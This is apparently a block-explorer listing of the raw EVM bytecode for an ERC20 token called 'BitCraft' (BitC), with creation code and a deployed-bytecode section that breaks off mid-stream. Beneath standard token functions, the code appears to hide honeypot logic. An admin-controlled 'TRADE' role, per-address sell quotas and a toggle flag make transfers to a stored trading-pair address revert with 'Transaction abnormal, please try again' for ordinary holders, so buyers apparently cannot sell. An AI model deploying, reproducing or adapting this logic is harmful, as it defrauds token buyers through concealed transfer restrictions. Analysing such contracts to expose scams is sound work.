0ed78262000766565b915062000ee48362000766565b925082820190508082111562000eff5762000efe62000bbe565b5b92915050565b62000f108162000766565b82525050565b5f60208201905062000f2b5f83018462000f05565b92915050565b6128a28062000f3f5f395ff3fe608060405234801561000f575f80fd5b5060043610610171575f3560e01c806339509351116100dc5780639cf3ea9b11610095578063c08ed94a1161006f578063c08ed94a1461045b578063d547741f14610479578063dd62ed3e14610495578063e68ec43d146104c557610171565b80639cf3ea9b146103f1578063a457c2d7146103fb578063a9059cbb1461042b57610171565b806339509351146102f757806347a83e651461032757806370a0823114610343578063752c29e11461037357806391d14854146103a357806395d89b41146103d357610171565b806323b872dd1161012e57806323b872dd14610223578063248a9ca3146102535780632a0acc6a146102835780632f2ff15d146102a1578063313ce567146102bd57806336568abe146102db57610171565b806306fdde0314610175578063095ea7b3146101935780630d468e65146101c35780630edcd3d4146101df57806311c9d23a146101fb57806318160ddd14610205575b5f80fd5b61017d6104f5565b60405161018a9190611d78565b60405180910390f35b6101ad60048036038101906101a89190611e29565b610585565b6040516101ba9190611e81565b60405180910390f35b6101dd60048036038101906101d89190611e9a565b6105a2565b005b6101f960048036038101906101f49190611e9a565b61060f565b005b61020361067b565b005b61020d6106ab565b60405161021a9190611ed4565b60405180910390f35b61023d60048036038101906102389190611eed565b6106b4565b60405161024a9190611e81565b60405180910390f35b61026d60048036038101906102689190611f70565b6107a6565b60405161027a9190611faa565b60405180910390f35b61028b6107c3565b6040516102989190611faa565b60405180910390f35b6102bb60048036038101906102b69190611fc3565b6107c9565b005b6102c56107ec565b6040516102d2919061201c565b60405180910390f35b6102f560048036038101906102f09190611fc3565b6107f4565b005b610311600480360381019061030c9190611e29565b610877565b60405161031e9190611e81565b60405180910390f35b610341600480360381019061033c9190611e29565b61091e565b005b61035d60048036038101906103589190611e9a565b61098c565b60405161036a9190611ed4565b60405180910390f35b61038d60048036038101906103889190611e9a565b6109d1565b60405161039a9190611ed4565b60405180910390f35b6103bd60048036038101906103b89190611fc3565b610a17565b6040516103ca9190611e81565b60405180910390f35b6103db610a7b565b6040516103e89190611d78565b60405180910390f35b6103f9610b0b565b005b61041560048036038101906104109190611e29565b610b3c565b6040516104229190611e81565b60405180910390f35b61044560048036038101906104409190611e29565b610c22565b6040516104529190611e81565b60405180910390f35b610463610c3f565b6040516104709190611faa565b60405180910390f35b610493600480360381019061048e9190611fc3565b610c63565b005b6104af60048036038101906104aa9190612035565b610c86565b6040516104bc9190611ed4565b60405180910390f35b6104df60048036038101906104da9190611e9a565b610d08565b6040516104ec9190611ed4565b60405180910390f35b606060038054610504906120a0565b80601f0160208091040260200160405190810160405280929190818152602001828054610530906120a0565b801561057b5780601f106105525761010080835404028352916020019161057b565b820191905f5260205f20905b81548152906001019060200180831161055e57829003601f168201915b5050505050905090565b5f610598610591610d4e565b8484610d55565b6001905092915050565b5f801b6105b6816105b1610d4e565b610f18565b600160095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b5f801b6106238161061e610d4e565b610f18565b5f60095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b5f801b61068f8161068a610d4e565b610f18565b5f600a5f6101000a81548160ff02191690831515021790555050565b5f600254905090565b5f6106c0848484610fb4565b5f60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610707610d4e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610786576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077d90612140565b60405180910390fd5b61079a85610792610d4e565b858403610d55565b60019150509392505050565b5f60055f8381526020019081526020015f20600101549050919050565b5f801b81565b5f801b6107dd816107d8610d4e565b610f18565b6107e78383611297565b505050565b5f6012905090565b6107fc610d4e565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610860906121ce565b60405180910390fd5b61087382826113dc565b5050565b5f610914610883610d4e565b848460015f610890610d4e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461090f9190612219565b610d55565b6001905092915050565b5f801b6109328161092d610d4e565b610f18565b670de0b6b3a764000082610946919061224c565b60075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f60075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f60055f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16905092915050565b606060048054610a8a906120a0565b80601f0160208091040260200160405190810160405280929190818152602001828054610ab6906120a0565b8015610b015780601f10610ad857610100808354040283529160200191610b01565b820191905f5260205f20905b815481529060010190602001808311610ae457829003601f168201915b5050505050905090565b5f801b610b1f81610b1a610d4e565b610f18565b6001600a5f6101000a81548160ff02191690831515021790555050565b5f8060015f610b49610d4e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610c03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfa906122fd565b60405180910390fd5b610c17610c0e610d4e565b85858403610d55565b600191505092915050565b5f610c35610c2e610d4e565b8484610fb4565b6001905092915050565b7f545241444500000000000000000000000000000000000000000000000000000081565b5f801b610c7781610c72610d4e565b610f18565b610c8183836113dc565b505050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f60085f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610dc3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dba9061238b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2890612419565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f0b9190611ed4565b60405180910390a3505050565b610f228282610a17565b610fb057610f478173ffffffffffffffffffffffffffffffffffffffff166014611522565b610f54835f1c6020611522565b604051602001610f65929190612505565b6040516020818303038152906040526040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa79190611d78565b60405180910390fd5b5050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611022576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611019906125ae565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611090576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611087906125ae565b60405180910390fd5b5f811161109b575f80fd5b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508181101561111e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111159061263c565b60405180910390fd5b61114a7f5452414445000000000000000000000000000000000000000000000000000000858585611757565b61115d8282611cc490919063ffffffff16565b5f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506111ec825f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611cd990919063ffffffff16565b5f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112899190611ed4565b60405180910390a350505050565b7f54524144450000000000000000000000000000000000000000000000000000008203611301575f60085f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b61130b8282610a17565b6113d857600160055f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555061137d610d4e565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b7f5452414445000000000000000000000000000000000000000000000000000000820361144757600160085f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b6114518282610a17565b1561151e575f60055f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506114c3610d4e565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45b5050565b60605f6002836002611534919061224c565b61153e9190612219565b67ffffffffffffffff8111156115575761155661265a565b5b6040519080825280601f01601f1916602001820160405280156115895781602001600182028036833780820191505090505b5090507f3000000000000000000000000000000000000000000000000000000000000000815f815181106115c0576115bf612687565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a9053507f78000000000000000000000000000000000000000000000000000000000000008160018151811061162357611622612687565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a9053505f6001846002611661919061224c565b61166b9190612219565b90505b600181111561170a577f3031323334353637383961626364656600000000000000000000000000000000600f8616601081106116ad576116ac612687565b5b1a60f81b8282815181106116c4576116c3612687565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a905350600485901c945080611703906126b4565b905061166e565b505f841461174d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174490612725565b60405180910390fd5b8091505092915050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611842575f60085f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20540361183d57600160085f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061183c8483611297565b5b611cbe565b600160085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541480156118bb57505f15156118b77f545241444500000000000000000000000000000000000000000000000000000085610a17565b1515145b156119e0578060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015801561190c57505f81115b156119a0578060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461195a9190612743565b60075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506119db565b6040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119d2906127e6565b60405180910390fd5b611cbd565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611cbc57600a5f9054906101000a900460ff1615611ada576001151560095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615150315611ad9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad0906127e6565b60405180910390fd5b5b611b047f545241444500000000000000000000000000000000000000000000000000000084610a17565b8015611b4c57505f60085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054145b611cbb57600a5f9054906101000a900460ff1615611b9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b96906127e6565b60405180910390fd5b8060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410158015611beb57505f81115b15611c7f578060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611c399190612743565b60075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611cba565b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb19061284e565b60405180910390fd5b5b5b5b5b50505050565b5f8183611cd19190612743565b905092915050565b5f8183611ce69190612219565b905092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611d25578082015181840152602081019050611d0a565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611d4a82611cee565b611d548185611cf8565b9350611d64818560208601611d08565b611d6d81611d30565b840191505092915050565b5f6020820190508181035f830152611d908184611d40565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611dc582611d9c565b9050919050565b611dd581611dbb565b8114611ddf575f80fd5b50565b5f81359050611df081611dcc565b92915050565b5f819050919050565b611e0881611df6565b8114611e12575f80fd5b50565b5f81359050611e2381611dff565b92915050565b5f8060408385031215611e3f57611e3e611d98565b5b5f611e4c85828601611de2565b9250506020611e5d85828601611e15565b9150509250929050565b5f8115159050919050565b611e7b81611e67565b82525050565b5f602082019050611e945f830184611e72565b92915050565b5f60208284031215611eaf57611eae611d98565b5b5f611ebc84828501611de2565b91505092915050565b611ece81611df6565b82525050565b5f602082019050611ee75f830184611ec5565b92915050565b5f805f60608486031215611f0457611f03611d98565b5b5f611f1186828701611de2565b9350506020611f2286828701611de2565b9250506040611f3386828701611e15565b9150509250925092565b5f819050919050565b611f4f81611f3d565b8114611f59575f80fd5b50565b5f81359050611f6a81611f46565b92915050565b5f60208284031215611f8557611f84611d98565b5b5f611f9284828501611f5c565b91505092915050565b611fa481611f3d565b82525050565b5f602082019050611fbd5f830184611f9b565b92915050565b5f8060408385031215611fd957611fd8611d98565b5b5f611fe685828601611f5c565b9250506020611ff785828601611de2565b9150509250929050565b5f60ff82169050919050565b61201681612001565b82525050565b5f60208201905061202f5f83018461200d565b92915050565b5f806040838503121561204b5761204a611d98565b5b5f61205885828601611de2565b925050602061206985828601611de2565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806120b757607f821691505b6020821081036120ca576120c9612073565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f61212a602883611cf8565b9150612135826120d0565b604082019050919050565b5f6020820190508181035f8301526121578161211e565b9050919050565b7f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e63655f8201527f20726f6c657320666f722073656c660000000000000000000000000000000000602082015250565b5f6121b8602f83611cf8565b91506121c38261215e565b604082019050919050565b5f6020820190508181035f8301526121e5816121ac565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61222382611df6565b915061222e83611df6565b9250828201905080821115612246576122456121ec565b5b92915050565b5f61225682611df6565b915061226183611df6565b925082820261226f81611df6565b91508282048414831517612286576122856121ec565b5b5092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f6122e7602583611cf8565b91506122f28261228d565b604082019050919050565b5f6020820190508181035f830152612314816122db565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612375602483611cf8565b91506123808261231b565b604082019050919050565b5f6020820190508181035f8301526123a281612369565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612403602283611cf8565b915061240e826123a9565b604082019050919050565b5f6020820190508181035f830152612430816123f7565b9050919050565b5f81905092915050565b7f416363657373436f6e74726f6c3a206163636f756e74200000000000000000005f82015250565b5f612475601783612437565b915061248082612441565b601782019050919050565b5f61249582611cee565b61249f8185612437565b93506124af818560208601611d08565b80840191505092915050565b7f206973206d697373696e6720726f6c65200000000000000000000000000000005f82015250565b5f6124ef601183612437565b91506124fa826124bb565b601182019050919050565b5f61250f82612469565b915061251b828561248b565b9150612526826124e3565b9150612532828461248b565b91508190509392505050565b7f45524332303a7472616e736665722066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612598602483611cf8565b91506125a38261253e565b604082019050919050565b5f6020820190508181035f8301526125c58161258c565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f612626602683611cf8565b9150612631826125cc565b604082019050919050565b5f6020820190508181035f8301526126538161261a565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f6126be82611df6565b91505f82036126d0576126cf6121ec565b5b600182039050919050565b7f537472696e67733a20686578206c656e67746820696e73756666696369656e745f82015250565b5f61270f602083611cf8565b915061271a826126db565b602082019050919050565b5f6020820190508181035f83015261273c81612703565b9050919050565b5f61274d82611df6565b915061275883611df6565b92508282039050818111156127705761276f6121ec565b5b92915050565b7f5472616e73616374696f6e2061626e6f726d616c2c20706c65617365207472795f8201527f20616761696e0000000000000000000000000000000000000000000000000000602082015250565b5f6127d0602683611cf8565b91506127db82612776565b604082019050919050565b5f6020820190508181035f8301526127fd816127c4565b9050919050565b7f4163636f756e74206973206d697373696e6720726f6c650000000000000000005f82015250565b5f612838601783611cf8565b915061284382612804565b602082019050919050565b5f6020820190508181035f8301526128658161282c565b905091905056fea2646970667358221220938f15e39a73348a565a65e81110d81a278bacf3238d96e01197ca85420598b964736f6c63430008170033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000005f5e100000000000000000000000000883514c797d5ef6bec02c59ea0cc7a47c54ae1a00000000000000000000000000000000000000000000000000000000000000008426974437261667400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044269744300000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561000f575f80fd5b5060043610610171575f3560e01c806339509351116100dc5780639cf3ea9b11610095578063c08ed94a1161006f578063c08ed94a1461045b578063d547741f14610479578063dd62ed3e14610495578063e68ec43d146104c557610171565b80639cf3ea9b146103f1578063a457c2d7146103fb578063a9059cbb1461042b57610171565b806339509351146102f757806347a83e651461032757806370a0823114610343578063752c29e11461037357806391d14854146103a357806395d89b41146103d357610171565b806323b872dd1161012e57806323b872dd14610223578063248a9ca3146102535780632a0acc6a146102835780632f2ff15d146102a1578063313ce567146102bd57806336568abe146102db57610171565b806306fdde0314610175578063095ea7b3146101935780630d468e65146101c35780630edcd3d4146101df57806311c9d23a146101fb57806318160ddd14610205575b5f80fd5b61017d6104f5565b60405161018a9190611d78565b60405180910390f35b6101ad60048036038101906101a89190611e29565b610585565b6040516101ba9190611e81565b60405180910390f35b6101dd60048036038101906101d89190611e9a565b6105a2565b005b6101f960048036038101906101f49190611e9a565b61060f565b005b61020361067b565b005b61020d6106ab565b60405161021a9190611ed4565b60405180910390f35b61023d60048036038101906102389190611eed565b6106b4565b60405161024a9190611e81565b60405180910390f35b61026d60048036038101906102689190611f70565b6107a6565b60405161027a9190611faa565b60405180910390f35b61028b6107c3565b6040516102989190611faa565b60405180910390f35b6102bb60048036038101906102b69190611fc3565b6107c9565b005b6102c56107ec565b6040516102d2919061201c565b60405180910390f35b6102f560048036038101906102f09190611fc3565b6107f4565b005b610311600480360381019061030c9190611e29565b610877565b60405161031e9190611e81565b60405180910390f35b610341600480360381019061033c9190611e29565b61091e565b005b61035d60048036038101906103589190611e9a565b61098c565b60405161036a9190611ed4565b60405180910390f35b61038d60048036038101906103889190611e9a565b6109d1565b60405161039a9190611ed4565b60405180910390f35b6103bd60048036038101906103b89190611fc3565b610a17565b6040516103ca9190611e81565b60405180910390f35b6103db610a7b565b6040516103e89190611d78565b60405180910390f35b6103f9610b0b565b005b61041560048036038101906104109190611e29565b610b3c565b6040516104229190611e81565b60405180910390f35b61044560048036038101906104409190611e29565b610c22565b6040516104529190611e81565b60405180910390f35b610463610c3f565b6040516104709190611faa565b60405180910390f35b610493600480360381019061048e9190611fc3565b610c63565b005b6104af60048036038101906104aa9190612035565b610c86565b6040516104bc9190611ed4565b60405180910390f35b6104df60048036038101906104da9190611e9a565b610d08565b6040516104ec9190611ed4565b60405180910390f35b606060038054610504906120a0565b80601f0160208091040260200160405190810160405280929190818152602001828054610530906120a0565b801561057b5780601f106105525761010080835404028352916020019161057b565b820191905f5260205f20905b81548152906001019060200180831161055e57829003601f168201915b5050505050905090565b5f610598610591610d4e565b8484610d55565b6001905092915050565b5f801b6105b6816105b1610d4e565b610f18565b600160095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b5f801b6106238161061e610d4e565b610f18565b5f60095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b5f801b61068f8161068a610d4e565b610f18565b5f600a5f6101000a81548160ff02191690831515021790555050565b5f600254905090565b5f6106c0848484610fb4565b5f60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610707610d4e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610786576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077d90612140565b60405180910390fd5b61079a85610792610d4e565b858403610d55565b60019150509392505050565b5f60055f8381526020019081526020015f20600101549050919050565b5f801b81565b5f801b6107dd816107d8610d4e565b610f18565b6107e78383611297565b505050565b5f6012905090565b6107fc610d4e565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610860906121ce565b60405180910390fd5b61087382826113dc565b5050565b5f610914610883610d4e565b848460015f610890610d4e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461090f9190612219565b610d55565b6001905092915050565b5f801b6109328161092d610d4e565b610f18565b670de0b6b3a764000082610946919061224c565b60075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f60075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f60055f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16905092915050565b606060048054610a8a906120a0565b80601f0160208091040260200160405190810160405280929190818152602001828054610ab6906120a0565b8015610b015780601f10610ad857610100808354040283529160200191610b01565b820191905f5260205f20905b815481529060010190602001808311610ae457829003601f168201915b5050505050905090565b5f801b610b1f81610b1a610d4e565b610f18565b6001600a5f6101000a81548160ff02191690831515021790555050565b5f8060015f610b49610d4e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610c03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfa906122fd565b60405180910390fd5b610c17610c0e610d4e565b85858403610d55565b600191505092915050565b5f610c35610c2e610d4e565b8484610fb4565b6001905092915050565b7f545241444500000000000000000000000000000000000000000000000000000081565b5f801b610c7781610c72610d4e565b610f18565b610c8183836113dc565b505050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f60085f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610dc3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dba9061238b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2890612419565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f0b9190611ed4565b60405180910390a3505050565b610f228282610a17565b610fb057610f478173ffffffffffffffffffffffffffffffffffffffff166014611522565b610f54835f1c6020611522565b604051602001610f65929190612505565b6040516020818303038152906040526040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa79190611d78565b60405180910390fd5b5050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611022576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611019906125ae565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611090576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611087906125ae565b60405180910390fd5b5f811161109b575f80fd5b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508181101561111e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111159061263c565b60405180910390fd5b61114a7f5452414445000000000000000000000000000000000000000000000000000000858585611757565b61115d8282611cc490919063ffffffff16565b5f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506111ec825f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611cd990919063ffffffff16565b5f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112899190611ed4565b60405180910390a350505050565b7f54524144450000000000000000000000000000000000000000000000000000008203611301575f60085f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b61130b8282610a17565b6113d857600160055f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555061137d610d4e565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b7f5452414445000000000000000000000000000000000000000000000000000000820361144757600160085f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b6114518282610a17565b1561151e575f60055f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506114c3610d4e565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45b5050565b60605f6002836002611534919061224c565b61153e9190612219565b67ffff